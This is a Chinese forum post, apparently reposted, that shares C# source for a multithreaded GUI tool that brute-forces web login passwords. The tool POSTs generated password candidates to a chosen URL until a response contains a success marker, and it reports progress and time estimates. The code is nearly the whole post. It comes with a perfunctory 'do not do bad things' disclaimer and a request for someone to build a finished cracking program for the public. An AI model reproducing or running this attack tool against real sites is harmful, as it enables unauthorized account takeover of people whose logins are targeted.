好友
阅读权限10
听众
最后登录1970-1-1
|
乀想伱了灬
发表于 2015-5-31 22:36
以下是主要代码,仅供技术参考,切勿干坏事!!!
- using LenovoCW.Library;
- using System;
- using System.Collections.Generic;
- using System.Drawing;
- using System.Text;
- using System.Linq;
- using System.Threading;
- using System.Net.Http;
- using System.Windows.Forms;
- namespace blpj
- {
- public partial class Form1 : Form
- {
- public Form1()
- {
- System.Windows.Forms.Control.CheckForIllegalCrossThreadCalls = false;
- InitializeComponent();
- }
- private bool isok = false;
- private string resvalue = "";
- private Dictionary<Thread, EachEveryStr> telist = new Dictionary<Thread, EachEveryStr>();
- private void button1_Click(object sender, EventArgs e)
- {
- if (button1.Text == "破解")
- {
- var type = GetECharType();
- if (type == default(ECharType) || t_url.TextLength < 6 || t_url.TextLength < 6 || t_ok.TextLength < 1 || t_thr_num.TextLength < 1 || t_pwd_maxlength.TextLength < 1 || t_pwd_minlength.TextLength < 1)
- {
- MessageBox.Show("请填写完整所需的数据!","温馨提示",MessageBoxButtons.OK,MessageBoxIcon.Asterisk);
- return;
- }
- button1.Text = "停止";
- isok = false;
- telist.Clear();
- var eeslist = EachEveryStr.CreateList(Convert.ToInt32(t_thr_num.Text), Convert.ToInt32(t_pwd_minlength.Text), Convert.ToInt32(t_pwd_maxlength.Text), type);
- foreach (var item in eeslist)
- {
- var t = new Thread(new ParameterizedThreadStart(Response));
- t.Start(item);
- telist.Add(t, item);
- }
- var updinfo = new Thread(new ThreadStart(UpdInfo));
- updinfo.Start();
- button2_Click(null, null);
- }
- else
- {
- button1.Text = "破解";
- isok = true;
- }
- }
- public void Response(object ps)
- {
- var ees = ps as EachEveryStr;
- var okvalue = t_ok.Text;
- var url = t_url.Text;
- var client = new HttpClient();
- var values = new List<KeyValuePair<string, string>>();
- var pwd = "pwd";
- if (t_ps.TextLength > 0)
- {
- var parameter = t_ps.Text.Split('&');
- foreach (var item in parameter)
- {
- if(!string.IsNullOrEmpty(item))
- {
- if (item.Contains("@pwd"))
- {
- pwd = item.Split('=')[0];
- }
- else
- {
- values.Add(new KeyValuePair<string, string>(item.Split('=')[0], item.Split('=')[1]));
- }
- }
- }
- }
- while (!ees.IsValueMax && !isok)
- {
- try
- {
- var kvp=new KeyValuePair<string, string>(pwd, ees.GetNextValue());
- values.Add(kvp);
- var response = client.PostAsync(url, new FormUrlEncodedContent(values)).Result.Content.ReadAsStringAsync().Result;
- values.Remove(kvp);
- if (resvalue == "")
- {
- resvalue = response;
- }
- if (!string.IsNullOrEmpty(response) && response.Contains(okvalue))
- {
- isok = true;
- this.t_pwd.Text = ees.Value;
- button1.Text = "破解";
- break;
- }
- }
- catch (Exception e)
- {
- this.t_error.AppendText(ees.Value+"->"+e.ToString());
- }
- }
- client.Dispose();
- }
- public ECharType GetECharType()
- {
- ECharType type = default(ECharType);
- if (c_lowerchar.Checked)
- {
- type = type | ECharType.LowerChar;
- }
- if (c_number.Checked)
- {
- type = type | ECharType.Number;
- }
- if (c_specialchar.Checked)
- {
- type = type | ECharType.SpecialChar;
- }
- if (c_upperchar.Checked)
- {
- type = type | ECharType.UpperChar;
- }
- return type;
- }
- public void UpdInfo()
- {
- var begin_time = DateTime.Now;
- while (!isok)
- {
- var okcount = telist.Sum(d => d.Value.GetValueCount);
- var groupcount = telist.Sum(d => d.Value.GroupCount);
- StringBuilder sb = new StringBuilder();
- sb.AppendLine("开始时间:" + begin_time.ToString());
- sb.AppendLine("总组合数:" + groupcount);
- sb.AppendLine("完成数:" + okcount);
- sb.AppendLine("完成比例:" + (okcount * 100.0 / groupcount).ToString("0.00") + "%");
- sb.AppendLine("每秒完成数:" + (okcount / (DateTime.Now - begin_time).TotalSeconds).ToString("0.00"));
- sb.AppendLine("预计还需要:" + ((groupcount - okcount) / (okcount / (DateTime.Now - begin_time).TotalMinutes)).ToString("0.00") + "分钟");
- sb.AppendLine("已经用时:" + (DateTime.Now - begin_time).TotalMinutes.ToString("0.00") + "分钟");
- sb.AppendLine("状态:运行中");
- t_info.Text = sb.ToString();
- t_res.Text = resvalue;
- resvalue = "";
- if (okcount >= groupcount)
- {
- break;
- }
- Thread.Sleep(1000);
- }
- if (t_pwd.TextLength > 0)
- {
- t_info.Text=t_info.Text.Replace("状态:运行中", "状态:破解成功");
- }
- else
- {
- t_info.Text=t_info.Text.Replace("状态:运行中", "状态:已停止");
- }
- button1.Text = "破解";
- }
- private void Form1_FormClosed(object sender, FormClosedEventArgs e)
- {
- System.Environment.Exit(0);
- }
- private void button2_Click(object sender, EventArgs e)
- {
- StringBuilder sb = new StringBuilder();
- long minindex = long.MaxValue;
- long maxindex = long.MinValue;
- t_thr_info.Text = string.Empty;
- foreach (var item in telist)
- {
- if (item.Value.GetValueCount > maxindex)
- {
- maxindex = item.Value.GetValueCount;
- }
- if (item.Value.GetValueCount < minindex)
- {
- minindex = item.Value.GetValueCount;
- }
- sb.AppendLine(string.Format("线程ID:{0},任务:{1}-{2},总数{5},当前值:{3},已完成:{4}\n",
- item.Key.ManagedThreadId,
- item.Value.InitValue,
- item.Value.MaxValue,
- item.Value.Value,
- item.Value.GetValueCount,
- item.Value.GroupCount
- ));
- }
- sb.Insert(0, "最快线程已经完成:" + maxindex + "\r\n最慢线程已经完成:" + minindex + "\r\n");
- t_thr_info.Text=sb.ToString();
- }
- }
- }
转帖,望大神出个成品程序出来造福广大网友,,
|
免费评分
-
查看全部评分
|
发帖前要善用【论坛搜索】功能,那里可能会有你要找的答案或者已经有人发布过相同内容了,请勿重复发帖。 |
|
|
|
|